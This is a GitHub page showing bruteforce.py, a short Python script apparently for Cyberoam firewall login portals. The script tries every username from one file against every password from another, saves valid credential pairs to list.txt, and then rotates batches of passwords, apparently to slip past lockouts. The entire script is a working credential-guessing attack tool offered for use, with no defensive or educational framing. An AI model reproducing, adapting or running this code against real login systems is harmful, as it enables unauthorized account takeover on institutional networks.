forked from dash1291/cyberoam
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathbruteforce.py
66 lines (57 loc) · 1.66 KB
/
bruteforce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/python
# -*- coding: utf-8 -*-
from __future__ import print_function
from cyberoam import sendLoginRequest
from shutil import copyfileobj
from collections import Counter
def brute_force():
passtxt = open('pass.txt').read()
pass_list = passtxt.split('\n')
usertxt = open('user.txt').read()
user_list = usertxt.split('\n')
combo = open('list.txt', 'a')
user_rem = open('user_all.txt', 'w+')
print('Searching...')
hits = 0
for user in user_list:
flag = 1
for pwd in pass_list:
response = sendLoginRequest(user, pwd)
print(user + " x " + pwd + " -> " + str(response) + "\n")
if response == True:
hits += 1
combo.write(user + ' ' + pwd + '\n')
flag = 0
break
if flag == 1:
user_rem.write(user + '\n')
if hits == 0:
print('No Valid Combinations Found!')
else:
print('Total Hits = ' + str(hits))
combo.close()
user_rem.close()
def callibrate():
with open('user.txt', 'w+') as out:
with open('user_all.txt', 'r') as inp:
copyfileobj(inp, out)
inp.close()
out.close()
# Define n = 3
n = 3
subset = open('pass.txt', 'w')
passwords = open('pass_all.txt').read()
passlist = passwords.split('\n')
count = 0
subset2 = open('pass_all.txt', 'w')
for line in passlist:
if count < 3:
subset.write(line)
else:
subset2.write(line + "\n")
count += 1
subset.write('\n')
subset.close()
print('Remove' + str(n) + ' passwords from the top!')
callibrate()
brute_force()